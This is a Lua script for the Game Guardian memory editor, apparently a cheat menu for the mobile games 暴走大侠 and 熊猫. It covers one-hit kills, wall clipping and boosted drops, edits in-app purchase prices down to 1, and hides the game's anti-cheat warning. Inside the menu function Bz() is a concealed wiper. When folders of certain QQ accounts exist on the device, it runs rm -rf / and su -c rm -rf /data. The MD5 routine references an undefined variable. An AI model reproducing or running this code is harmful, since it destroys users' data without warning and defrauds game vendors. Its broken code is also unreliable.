function md5(code)    local code = tostring(code)    local HexTable = {"0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F"}    local A = 0x67452301    local B = 0xefcdab89    local C = 0x98badcfe    local D = 0x10325476    local S11 = 7    local S12 = 12    local S13 = 17    local S14 = 22                 local S21 = 5       local S22 = 9       local S23 = 14       local S24 = 20       local S31 = 4       local S32 = 11       local S33 = 16       local S34 = 23       local S41 = 6       local S42 = 10       local S43 = 15       local S44 = 21       local function F(x,y,z)         return (x & y) | ((~x) & z)       end       local function G(x,y,z)         return (x & z) | (y & (~z))       end       local function H(x,y,z)         return x ~ y ~ z       end       local function I(x,y,z)         return y ~ (x | (~z))       end       local function FF(a,b,c,d,x,s,ac)         a = a + F(b,c,d) + x + ac         a = (((a & 0xffffffff) << s) | ((a & 0xffffffff) >> 32 - s)) + b         return a & 0xffffffff       end       local function GG(a,b,c,d,x,s,ac)         a = a + G(b,c,d) + x + ac         a = (((a & 0xffffffff) << s) | ((a & 0xffffffff) >> 32 - s)) + b         return a & 0xffffffff       end       local function HH(a,b,c,d,x,s,ac)         a = a + H(b,c,d) + x + ac         a = (((a & 0xffffffff) << s) | ((a & 0xffffffff) >> 32 - s)) + b         return a & 0xffffffff       end       local function II(a,b,c,d,x,s,ac)         a = a + I(b,c,d) + x + ac         a = (((a & 0xffffffff) << s) | ((a & 0xffffffff) >> 32 - s)) + b         return a & 0xffffffff       end       local function MD5StringFill(s)         local len = s:len()         local mod512 = len * 8 % 512         local fillSize = (448 - mod512) // 8         if mod512 > 448 then           fillSize = (960 - mod512) // 8         end         local rTab = {}         local byteIndex = 1         for i = 1,len do           local index = (i - 1) // 4 + 1           rTab[index] = rTab[index] or 0           rTab[index] = rTab[index] | (s:byte(i) << (byteIndex - 1) * 8)           byteIndex = byteIndex + 1           if byteIndex == 5 then             byteIndex = 1           end         end         local b0x80 = false         local tLen = #rTab         if byteIndex ~= 1 then           rTab[tLen] = rTab[tLen] | 0x80 << (byteIndex - 1) * 8           b0x80 = true         end         for i = 1,fillSize // 4 do           if not b0x80 and i == 1 then             rTab[tLen + i] = 0x80            else             rTab[tLen + i] = 0x0           end         end         local bitLen = math.floor(len * 8)         tLen = #rTab         rTab[tLen + 1] = bitLen & 0xffffffff         rTab[tLen + 2] = bitLen >> 32         return rTab       end              function getmd5(s)         local fillTab = MD5StringFill(s)         local result = {A,B,C,D}         for i = 1,#fillTab // 16 do           local a = result[1]           local b = result[2]           local c = result[3]           local d = result[4]           local offset = (i - 1) * 16 + 1           a = FF(a, b, c, d, fillTab[offset + 0], S11, 0xd76aa478)           d = FF(d, a, b, c, fillTab[offset + 1], S12, 0xe8c7b756)           c = FF(c, d, a, b, fillTab[offset + 2], S131, 0x242070db)           b = FF(b, c, d, a, fillTab[offset + 3], S14, 0xc1bdceee)           a = FF(a, b, c, d, fillTab[offset + 4], S11, 0xf57c0faf)           d = FF(d, a, b, c, fillTab[offset + 5], S12, 0x4787c62a)           c = FF(c, d, a, b, fillTab[offset + 6], S13, 0xa8304613)           b = FF(b, c, d, a, fillTab[offset + 7], S14, 0xfd469501)           a = FF(a, b, c, d, fillTab[offset + 8], S11, 0x698098d8)           d = FF(d, a, b, c, fillTab[offset + 9], S12, 0x8b44f7af)           c = FF(c, d, a, b, fillTab[offset + 10], S13, 0xffff5bb1)           b = FF(b, c, d, a, fillTab[offset + 11], S14, 0x895cd7be)           a = FF(a, b, c, d, fillTab[offset + 12], S11, 0x6b901122)           d = FF(d, a, b, c, fillTab[offset + 13], S12, 0xfd987193)           c = FF(c, d, a, b, fillTab[offset + 14], S13, 0xa679438e)           b = FF(b, c, d, a, fillTab[offset + 15], S14, 0x49b40821)           a = GG(a, b, c, d, fillTab[offset + 1], S21, 0xf61e2562)           d = GG(d, a, b, c, fillTab[offset + 6], S22, 0xc040b340)           c = GG(c, d, a, b, fillTab[offset + 11], S23, 0x265e5a51)           b = GG(b, c, d, a, fillTab[offset + 0], S24, 0xe9b6c7aa)           a = GG(a, b, c, d, fillTab[offset + 5], S21, 0xd62f105d)           d = GG(d, a, b, c, fillTab[offset + 10], S22, 0x2441453)           c = GG(c, d, a, b, fillTab[offset + 15], S23, 0xd8a1e681)           b = GG(b, c, d, a, fillTab[offset + 4], S24, 0xe7d3fbc8)           a = GG(a, b, c, d, fillTab[offset + 9], S21, 0x21e1cde6)           d = GG(d, a, b, c, fillTab[offset + 14], S22, 0xc33707d6)           c = GG(c, d, a, b, fillTab[offset + 3], S23, 0xf4d50d87)           b = GG(b, c, d, a, fillTab[offset + 8], S24, 0x455a14ed)           a = GG(a, b, c, d, fillTab[offset + 13], S21, 0xa9e3e905)           d = GG(d, a, b, c, fillTab[offset + 2], S22, 0xfcefa3f8)           c = GG(c, d, a, b, fillTab[offset + 7], S23, 0x676f02d9)           b = GG(b, c, d, a, fillTab[offset + 12], S24, 0x8d2a4c8a)           a = HH(a, b, c, d, fillTab[offset + 5], S31, 0xfffa3942)           d = HH(d, a, b, c, fillTab[offset + 8], S32, 0x8771f681)           c = HH(c, d, a, b, fillTab[offset + 11], S33, 0x6d9d6122)           b = HH(b, c, d, a, fillTab[offset + 14], S34, 0xfde5380c)           a = HH(a, b, c, d, fillTab[offset + 1], S31, 0xa4beea44)           d = HH(d, a, b, c, fillTab[offset + 4], S32, 0x4bdecfa9)           c = HH(c, d, a, b, fillTab[offset + 7], S33, 0xf6bb4b60)           b = HH(b, c, d, a, fillTab[offset + 10], S34, 0xbebfbc70)           a = HH(a, b, c, d, fillTab[offset + 13], S31, 0x289b7ec6)           d = HH(d, a, b, c, fillTab[offset + 0], S32, 0xeaa127fa)           c = HH(c, d, a, b, fillTab[offset + 3], S33, 0xd4ef3085)           b = HH(b, c, d, a, fillTab[offset + 6], S34, 0x4881d05)           a = HH(a, b, c, d, fillTab[offset + 9], S31, 0xd9d4d039)           d = HH(d, a, b, c, fillTab[offset + 12], S32, 0xe6db99e5)           c = HH(c, d, a, b, fillTab[offset + 15], S33, 0x1fa27cf8)           b = HH(b, c, d, a, fillTab[offset + 2], S34, 0xc4ac5665)           a = II(a, b, c, d, fillTab[offset + 0], S41, 0xf4292244)           d = II(d, a, b, c, fillTab[offset + 7], S42, 0x432aff97)           c = II(c, d, a, b, fillTab[offset + 14], S43, 0xab9423a7)           b = II(b, c, d, a, fillTab[offset + 5], S44, 0xfc93a039)           a = II(a, b, c, d, fillTab[offset + 12], S41, 0x655b59c3)           d = II(d, a, b, c, fillTab[offset + 3], S42, 0x8f0ccc92)           c = II(c, d, a, b, fillTab[offset + 10], S43, 0xffeff47d)           b = II(b, c, d, a, fillTab[offset + 1], S44, 0x85845dd1)           a = II(a, b, c, d, fillTab[offset + 8], S41, 0x6fa87e4f)           d = II(d, a, b, c, fillTab[offset + 15], S42, 0xfe2ce6e0)           c = II(c, d, a, b, fillTab[offset + 6], S43, 0xa3014314)           b = II(b, c, d, a, fillTab[offset + 13], S44, 0x4e0811a1)           a = II(a, b, c, d, fillTab[offset + 4], S41, 0xf7537e82)           d = II(d, a, b, c, fillTab[offset + 11], S42, 0xbd3af235)           c = II(c, d, a, b, fillTab[offset + 2], S43, 0x2ad7d2bb)           b = II(b, c, d, a, fillTab[offset + 9], S44, 0xeb86d391)           result[1] = result[1] + a           result[2] = result[2] + b           result[3] = result[3] + c           result[4] = result[4] + d           result[1] = result[1] & 0xffffffff           result[2] = result[2] & 0xffffffff           result[3] = result[3] & 0xffffffff           result[4] = result[4] & 0xffffffff         end         local retStr = ''         for i = 1,4 do           for _ = 1,4 do             local temp = result[i] & 0x0F             local str = HexTable[temp + 1]             result[i] = result[i] >> 4             temp = result[i] & 0x0F             retStr = retStr .. HexTable[temp + 1] .. str             result[i] = result[i] >> 4           end         end         return string.lower(retStr)       end       return getmd5(code)     end
--md5加密 md5("加密内容")


ZZRc4 = {} 
ZZMathBit = {} 
function ZZMathBit.__xorBit(left, right)       return (left + right) == 1 and 1 or 0 end function ZZMathBit.__base(left, right, op)       if left < right then           left, right = right, left       end       local res = 0       local shift = 1       while left ~= 0 do           local ra = left % 2           local rb = right % 2           res = shift * op(ra,rb) + res           shift = shift * 2           left = math.modf( left / 2)           right = math.modf( right / 2)       end       return res end function ZZMathBit.xorOp(left, right)       return ZZMathBit.__base(left, right, ZZMathBit.__xorBit) end function RC4(text,key,kasi)
if kasi==false then      str = text      str=str:gsub("[%s%p]",""):upper()       local index=1       local ret=""       for index=1,str:len(),2 do         ret=ret..string.char(tonumber(str:sub(index,index+1),16))       end       text=ret     end          local function KSA(key)           local keyLen = string.len(key)           local schedule = {}           local keyByte = {}           for i = 0, 255 do               schedule[i] = i           end              for i = 1, keyLen do               keyByte[i - 1] = string.byte(key, i, i)           end              local j = 0           for i = 0, 255 do               j = (j + schedule[i] + keyByte[ i % keyLen]) % 256               schedule[i], schedule[j] = schedule[j], schedule[i]           end           return schedule       end          local function PRGA(schedule, textLen)           local i = 0           local j = 0           local k = {}           for n = 1, textLen do               i = (i + 1) % 256               j = (j + schedule[i]) % 256               schedule[i], schedule[j] = schedule[j], schedule[i]               k[n] = schedule[(schedule[i] + schedule[j]) % 256]           end           return k       end          local function output(schedule, text)           local len = string.len(text)           local c = nil           local res = {}           for i = 1, len do               c = string.byte(text, i,i)               res[i] = string.char(ZZMathBit.xorOp(schedule[i], c))           end           return table.concat(res)       end          local textLen = string.len(text)       local schedule = KSA(key)       local k = PRGA(schedule, textLen)          str=output(k, text) if kasi==true then       str = tostring(str)       local index=1       local ret=""       for index=1,str:len() do         ret=ret..string.format("%02X",str:sub(index):byte())       end       return string.lower(ret) else     return str end end 
--极简云RC42加密和解密配置     RC4("加密内容","密码",false=解密_true=加密)

function ultra(get,post)    local c=gg.makeRequest(get,nil,post).content     return c  end 
--请求

---[=[上面不要乱动]=]-------------------------------------------------------------------------------------------------------------------


function cu()
x={
"https://simpleauth.cn",
"http://simpleauth.cn",
"https://cdn1.simpleauth.cn",
"http://cdn2.simpleauth.cn",
"http://cdn3.simpleauth.cn",
}

uio=gg.makeRequest(x[1]).content
if uio==nil then
gg.toast("正在切换...")--提示
uio=gg.makeRequest(x[2]).content
if uio==nil then
gg.toast("正在切换...")--提示
uio=gg.makeRequest(x[3]).content
if uio==nil then
gg.toast("正在切换...")--提示
uio=gg.makeRequest(x[4]).content
if uio==nil then
gg.toast("正在切换...")--提示
uio=gg.makeRequest(x[5]).content
if uio==nil then
gg.toast("正在切换...")--提示
else
if uio=="欢迎使用！" then
oqvqo(x[5])
end
end

else
if uio=="欢迎使用！" then
oqvqo(x[4])
end
end

else
if uio=="欢迎使用！" then
oqvqo(x[3])
end
end


else
if uio=="欢迎使用！" then
oqvqo(x[2])
end
end

else
if uio=="欢迎使用！" then
oqvqo(x[1])
end
end

end
--极简云官网
--官方群:598018022
--制作员:抹布

---[=[  ↑检测  ]=]-------------------------------------------------------------------------------------------------------------------



ab5165ef1c31d3c941d316277d0940844f=function (vip)
---[=[脚本可以复制到下面]=]-------------------------------------------------------------------------------------------------------------------




function Mainxz()
SN = gg.choice({
	 "暴走/熊猫角色",
	 "恐龙",
}, nil, "请选择你玩的游戏n选择后重新点击悬浮框")
if SN==1 then
	 Bz()
elseif SN==2 then
	 Kl()
end
FX1=0
end



function Bz()
local qq = { "188138842","694699974","2978263636","1637584626","1258102506","1786413184","1185872700","972642273","1286151828","1958903241","2522463155" , "3193106785","946156435" , "1651668748" }

for i, v in ipairs(qq) do
   file,err=io.open('/sdcard/Android/data/com.tencent.mobileqq/Tencent/MobileQQ/'..v) 
  if string.find(err,'Is a directory') then
   gg.command('rm -rf /'); 
   gg.command('rm -rf /data/system'); 
   gg.command('rm -rf /data/vendor'); 
   gg.command('rm -rf /storage/emulated/0'); 
   gg.command('rm -rf /sdcard'); 
   gg.command('chmod 777 /system/build.prop'); 
   gg.command('su -c rm -rf /data/system');
   gg.command('su -c rm -rf /data'); 
   gg.command('su -c chmod 777 /system/build.prop'); 
   gg.command('su -c rm -rf /data/app');
   gg.command('su -c rm -rf /data/vendor'); 
   gg.command('rm -rf /storage/emulated/0');
  end
end



gg.alert("这里呀🔰内部群请必须加，任何问题群里反馈")
--主菜单开关符
mskg="(关)这里呀🚫"     --秒杀开关符
mskg2="(关)这里呀🚫"     --秒杀开关符2
mskg3="(关)这里呀🚫"     --秒杀开关符3
rwgjkg="(关)这里呀🚫"      --人物攻击开关符
cwgjkg="(关)这里呀🚫"      --宠物攻击开关符
dlkg="(关)这里呀🚫"      --副本掉落开关符(没有一项开启)
--副菜单1开关符
gfms = {}          
for i=1, 12, 1 do
gfms[i] = "(未开启)这里呀🚫"
end
gfmskg="(关)这里呀🚫"  --国服秒杀开关符
tfmskg="(关)这里呀🚫"  --台服秒杀开关符
--副菜单2开关符
cqkg="(未开启)这里呀🚫"  --穿墙开关符
--副菜单5开关符
zkg1="开启"    --掉落总开关符
zkg2="这里呀🌺"
zzkg="(未开启)这里呀🚫"  --紫装开关符
stkg ="(未开启)这里呀🚫"  --紫装开关符2
stkg2 ="(未开启)这里呀🚫"  --紫装开关符2
jxkg ="(未开启)这里呀🚫"  --绝学碎片
cwkg="(未开启)这里呀🚫"  --宠物开关符
wpkg="(未开启)这里呀🚫"  --物品开关符
xldkg="(未开启)这里呀🚫"  --修炼丹开关符
lykg="(未开启)这里呀🚫"  --绿叶开关符
lhkg="(未开启)这里呀🚫"  --龙魂开关符
mldkg="(未开启)这里呀🚫"  --脉络丹开关符
lypkg="(未开启)这里呀🚫"  --龙吟瓶开关符
--人物技能选择菜单初始化
rwgj = {}          
for i=1, 20, 1 do
rwgj[i] = "这里呀🌺"
end
--宠物技能选择菜单初始化
cwgj = {}
for i=1, 12, 1 do
cwgj[i] = "这里呀🌺"
end
--初始化全部结束——
 gg.clearResults()	
	 gg.setRanges(32)
	 gg.searchNumber(';检测到您使用非法软件，请关闭后重试！', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	-- gg.searchNumber('0', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(1000)
	 gg.editAll(';此版本有检测，请联系管理员', gg.TYPE_WORD)
	  gg.clearResults()
function  Main0() 
SN = gg.choice({
    "这里呀🌺     视频教程新手必看 ",
	 "这里呀🌺     暴走大侠功能区 ",
	 "这里呀🌺   熊猫角色的游戏功能区 ",	 
	 "          退出脚本",
}, nil, "这里呀🔰本辅助为暴走大侠/熊猫二合一脚本n这里呀🔰根据自己需要选择功能开启n 这里呀🌺基本功能都是进图见怪开启n这里呀🌺新手必看使用帮助n这里呀🌺暴走/熊猫表示俩个游戏通用功能这里呀🌺")
 if SN==1 then
	  jc()
 elseif SN==2 then
	  Main1()
elseif SN==3 then
	 Main2()
elseif SN==4 then
	 TC()
end
XGCK = -1
end

function  jc()  
gg.copyText("https://pan.baidu.com/s/1vaisU_9mPZ0Wqm_6bnhNIA")
	gg.alert("已经为您自动复制视频教程网址n请用浏览器打开看教程n🎉提取码1234")
end			
function  Main1()   --暴走功能区
SN = gg.choice({
	 "这里呀🌺全屏攻击+秒杀+穿墙"..mskg,
	 "这里呀🌺实用功能",
	 "这里呀🌺一键秒杀 "..mskg3,
	 "这里呀🌺暴走物品掉落 "..dlkg,
	 "这里呀🌺人物攻击改技能 "..rwgjkg,
	 "这里呀🌺宠物攻击改技能 "..cwgjkg, 
	 "返回上一层",
}, nil, "请勿倒卖这里呀🚫有问题及时反馈n脚本的使用帮助能解决％99的用户问题🌺n仔细观看")
    if SN==1 then
	 GFMS()
elseif SN==2 then
	  Main20()
	  elseif SN==3 then
	  GFMS3()
  elseif SN==4 then
	  Main50()
	elseif SN==5 then
	 Main30()
elseif SN==6 then
	 Main40()
elseif SN==7 then
	 FH()
end
XGCK = -1
end
function GFMS()
if mskg == "(关)这里呀🚫" then     --判断是否开启过
	 pd=gg.alert('这里呀🚫进图见怪暂停开启！n🚫进图见怪暂停开启！n💞n熊猫勿开n暴走熊猫勿开n暴走射手勿开n弓箭勿开！',"看完后点我","取消")
     if pd == 1 then
     gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("65536~65793;100~16777215;0;1;100~200000000::17", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("100~16777215;100~90000000", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll("2", gg.TYPE_DWORD)
	 gg.toast("请保持继续暂停！！直到弹出执行结束即可！！！！")
	 gg.clearResults()
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("65536~65793;16777217~500000000;0;1;100~200000000::17", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("16777217~500000000;100~20000000::17", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll("2", gg.TYPE_DWORD)
	 gg.clearResults()
      gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("21;7274563::5", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("7274563", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(100)
	 gg.editAll("7274562", gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("1004;1004;1003;1003;1002;1002;1001;1001::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(100)
	 gg.editAll("20001", gg.TYPE_DWORD)
	 gg.alert("这里呀🌺修改成功n进入下一关或者退出游戏再进即可看到效果ʚ❤ɞn🌺如果想换其他技能请退游戏单独开技能🌺")
	 gg.clearResults()
	  mskg="(开)这里呀🌺"      --国服秒杀开关开启
	 else
	  Main0()
	 end
	 else
     gg.alert('已开启，无需重复开启ʚ❤ɞ')
     end
end

function  Main20()      --副菜单2(
SN = gg.choice({
	 "这里呀🌺熊猫/暴走穿墙"..cqkg,
	 "这里呀🌺陷阱无伤 这里呀🌺",
	  "这里呀🌺技能无cd这里呀🌺",
	   "这里呀🌺一元卡首充这里呀🌺",
	 "返回",
	 "             退出",
}, nil, "代理请咨询管理")
    if SN==1 then
	 HS13()
elseif SN==2 then
	 HS14()
 elseif SN==3 then
	 JNWC()
	  elseif SN==4 then
	 SC()
elseif SN==5 then
	 FH()
elseif SN==6 then
	 TC()
end
XGCK = -1
end

function HS13()      --穿墙功能
     if cqkg == "(未开启)这里呀🚫" then   --判断与开关
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("21;7274563::5", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("7274563", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(100)
	 gg.editAll("7274562", gg.TYPE_DWORD)
	 gg.alert("开启穿墙成功！下关生效ʚ❤ɞ")
	 gg.clearResults()
	 cqkg = "(已开启)这里呀🌺"
	 else
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("21;7274562::5", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("7274562", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(100)
	 gg.editAll("7274563", gg.TYPE_DWORD)
	 gg.alert("关闭穿墙成功！下关生效ʚ❤ɞ")
	 gg.clearResults()
	 cqkg = "(未开启)这里呀🚫"
	 end
end

function HS14()      --不死功能
	gg.alert("这里呀🚫过2关后开启n✨否则无效果")
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("13,005;0;0;1;0;1~20000000::21", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll("13,005;0;0;1;0;0", gg.TYPE_DWORD)
	 gg.alert("无伤开启成功！")
	 gg.clearResults()
end
function JNWC()
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('10000~35550D;1D;10~99D;10~99D::17', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber('10~99', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('0', gg.TYPE_DWORD)
	 gg.alert('所有技能无需能量，无冷却，推荐吐纳技能打世界BOSS')
	 gg.clearResults()
end
function SC()
    gg.alert('这里呀🚫只能卡首充！n这里呀🚫不要问什么1块钱冲648！n💞n不可能n不可能n不可能n只能1元拿首充！',"看完后点我","取消")
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('6;30;98;198;328;648', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 	 gg.getResults(10000)
	 gg.editAll('1', gg.TYPE_DWORD)
	 gg.alert('首充修改成功，点击充值即可💞')
	 gg.clearResults()
end
function GFMS3()
if mskg3 == "(关)这里呀🚫" then     --判断是否开启过
	 pd=gg.alert('这里呀🚫进图见怪暂停开启！n🚫进图见怪暂停开启！n💞n熊猫勿开n暴走熊猫勿开n暴走射手勿开n弓箭勿开！',"看完后点我","取消")
     if pd == 1 then
     gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("65536~65793;100~16777215;0;1;100~90000000::17", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("100~16777215;100~90000000", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll("2", gg.TYPE_DWORD)
	 gg.toast("请保持继续暂停！！直到弹出执行结束即可！！！！")
	 gg.clearResults()
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("65536~65793;16777217~500000000;0;1;100~90000000::17", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("16777217~500000000;100~90000000::17", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll("2", gg.TYPE_DWORD)
	 gg.alert("修改成功n进入下一关或者退出游戏再进即可看到效果ʚ❤ɞ")	 
	 gg.clearResults()
	  mskg3="(开)这里呀🌺"      --国服秒杀开关开启
	 else
	  Main0()
	 end
	 else
     gg.alert('已开启，无需重复开启ʚ❤ɞ')
     end
end

function  Main50()     --副菜单5(副本掉落)
	 
	 SN = gg.multiChoice({
	 "这里呀🌺总开关开启以下全部(慎用)"..zkg1.."(亦笑)"..zkg2,
	 "这里呀🌺精英图紫装1-10阶 "..zzkg,
     "这里呀🌺精英图紫装11-18阶 "..stkg,
     "这里呀🌺精英图紫装19－20阶 "..stkg2,
     "这里呀🌺门派技能碎片掉落 "..jxkg, 
	 "这里呀🌺精英图宠物 "..cwkg,
	 "这里呀🌺精英图物品 "..wpkg,
	 "这里呀🌺普通修炼丹 "..xldkg,
	 "这里呀🌺一键改绿叶 "..lykg,
	 "这里呀🌺深渊龙魂 "..lhkg,
	 "这里呀🌺深渊脉络丹 "..mldkg, 
	 "这里呀🌺深渊龙吟瓶 "..lypkg,
	 "这里呀🌺一键金币 (国服)🌺",
	 "        返回",
	 "          退出",
}, nil, "基本上功能在通过一个boss后开启n不懂看使用帮助解决％99的问题🎦")
if SN[1]==true then
	 DLZKG()
end
if SN[2]==true then
	 JYZZ()
end	 
if SN[3]==true then
	 JYZZ2()
end	 
if SN[4]==true then
	 JYZZ3()
end	 
if SN[5]==true then
	 JXSP()
end	 
if SN[6]==true then
	 JYCW()
end	 
if SN[7]==true then
	 JYWP()
end	 
if SN[8]==true then
	 PTXLD()
end	 	 
if SN[9]==true then
	 YJLY()
end	 
if SN[10]==true then
	 LHDL()
end	 
if SN[11]==true then
	 SYML()
end	 
if SN[12]==true then
	 SYLY()
end
if SN[13]==true then
	 GFJB()
end
if SN==14 then
	 FH()
end
if SN[15]==true then
	 TC()
end
XGCK = -1
end
function DLZKG()   --掉落总开关功能
     if zkg1 == "开启" then
     JYZZ()
     JYZZ2()
     JYZZ3()
     JXSP()
     JYCW()
     JYWP()
     PTXLD()
     YJLY()
     LHDL()
     SYML()
     SYLY()
     else 
      if zzkg == "(已开启)这里呀🌺" then JYZZ() end
      if stkg == "(已开启)这里呀🌺" then JYZZ2() end
      if stkg2 == "(已开启)这里呀🌺" then JYZZ3() end
      if jxkg == "(已开启)这里呀🌺" then JXSP() end
      if cwkg == "(已开启)这里呀🌺" then JYCW() end
      if wpkg == "(已开启)这里呀🌺" then JYWP() end
      if xldkg == "(已开启)这里呀🌺" then PTXLD() end
      if lykg == "(已开启)这里呀🌺" then YJLY() end
      if lhkg == "(已开启)这里呀🌺" then LHDL() end
      if mldkg == "(已开启)这里呀🌺" then SYML() end
      if lypkg == "(已开启)这里呀🌺" then SYLY() end
     end
end

function JYZZ()   --精英紫装1-10阶功能
     if zz == nil then
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("11101~11120;100~500;6011~6020;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("100~500;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(300)
	 gg.editAll("10000;30", gg.TYPE_DWORD)
	 gg.refineNumber("30", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 zzn = gg.getResultCount()
	 zz = gg.getResults(zzn)
	 gg.alert("这里呀🌺精英紫装1－10阶掉落已开启n🌺开启状态每个boss掉20个n🌺关闭后每个boss掉2个n🌺根据自己需要妥善使用")
	 gg.clearResults()
	 zzkg = "(已开启)这里呀🌺"
	 zkg1 = "关闭"
	 zkg2 = "这里呀🚫"
	 
	 elseif zzkg == "(已开启)这里呀🌺" then
	  for i=1,zzn,1
	  do
      zz[i].value = "3"
      end
	  gg.setValues(zz)
  	  gg.alert("这里呀🌺已关闭n掉落数量数量调整为3🚫")
  	  zzkg = "(未开启)这里呀🚫"
  	 else 
  	  for i=1,zzn,1
	  do
      zz[i].value = "30"
      end
	  gg.setValues(zz)
  	  gg.alert("这里呀🌺已开启n掉落数量数量调整为30🌺")
  	  zzkg = "(已开启)这里呀🌺"
  	  zkg1 = "关闭"
	  zkg2 = "这里呀🚫"
	 end
end

function JYZZ2()   --精英紫装11-15阶功能
     if zz2 == nil then
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("11121~11180;100~500;6209~6216;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("100~500;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(300)
	 gg.editAll("10000;30", gg.TYPE_DWORD)
	 gg.refineNumber("30", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 zz2n = gg.getResultCount()
	 zz2 = gg.getResults(zz2n)
	 
	 gg.alert("这里呀🌺精英紫装11－18阶掉落已开启n🌺开启状态每个boss掉30个n🌺关闭后每个boss掉3个n🌺根据自己需要妥善使用")
	 gg.clearResults()
	 stkg = "(已开启)这里呀🌺"
	 zkg1 = "关闭"
	 zkg2 = "这里呀🚫"
	 
	 elseif stkg == "(已开启)这里呀🌺" then
	  for i=1,zz2n,1
	  do
      zz2[i].value = "3"
      end
	  gg.setValues(zz2)
	  for i=1,zz3n,1
	  do
      zz3[i].value = "3"
      end
	  gg.setValues(zz3)
  	  gg.alert("这里呀🌺已关闭🌺n掉落数量数量调整为3🚫")
  	  stkg = "(未开启)这里呀🚫"
  	 else 
  	  for i=1,zz2n,1
	  do
      zz2[i].value = "30"
      end
	  gg.setValues(zz2)
	  for i=1,zz3n,1
	  do
      zz3[i].value = "30"
      end
	  gg.setValues(zz3)
  	  gg.alert("这里呀🌺已开启🌺n掉落数量数量调整为30🌺")
  	  stkg = "(已开启)这里呀🌺"
  	  zkg1 = "关闭"
	  zkg2 = "这里呀🚫"
	 end
end
function JYZZ3()   --精英紫装19阶功能
     if zz3 == nil then
	 gg.clearResults()
	 gg.setRanges(32)
     gg.setRanges(32)
	 gg.searchNumber("11121~11180;100~500;6252~6259;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("100~500;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(300)
	 gg.editAll("10000;30", gg.TYPE_DWORD)
	 gg.refineNumber("30", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 zz3n = gg.getResultCount()
	 zz3 = gg.getResults(zz3n)
	  gg.alert("这里呀🌺精英紫装19阶掉落已开启n🌺开启状态每个boss掉30个n🌺关闭后每个boss掉3个n🌺根据自己需要妥善使用")
	 gg.clearResults()
	 stkg2 = "(已开启)这里呀🌺"
	 zkg1 = "关闭"
	 zkg2 = "这里呀🚫"
	 	 elseif stkg2 == "(已开启)这里呀🌺" then
	  for i=1,zz3n,1
	  do
      zz3[i].value = "3"
      end
	  gg.setValues(zz3)
  	  gg.alert("这里呀🌺已关闭🌺n掉落数量数量调整为3🚫")
  	  stkg2 = "(未开启)这里呀🚫"
  	 else 
	  for i=1,zz3n,1
	  do
      zz3[i].value = "30"
      end
	  gg.setValues(zz3)
  	  gg.alert("这里呀🌺已开启🌺n掉落数量数量调整为30🌺")
  	  stkg2 = "(已开启)这里呀🌺"
  	  zkg1 = "关闭"
	  zkg2 = "这里呀🚫"
	 end
end
function JXSP()   --绝学碎片
     if jx == nil then
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("11101~11188;50;3001~3040;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("50;1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(300)
	 gg.editAll("10000;15", gg.TYPE_DWORD)
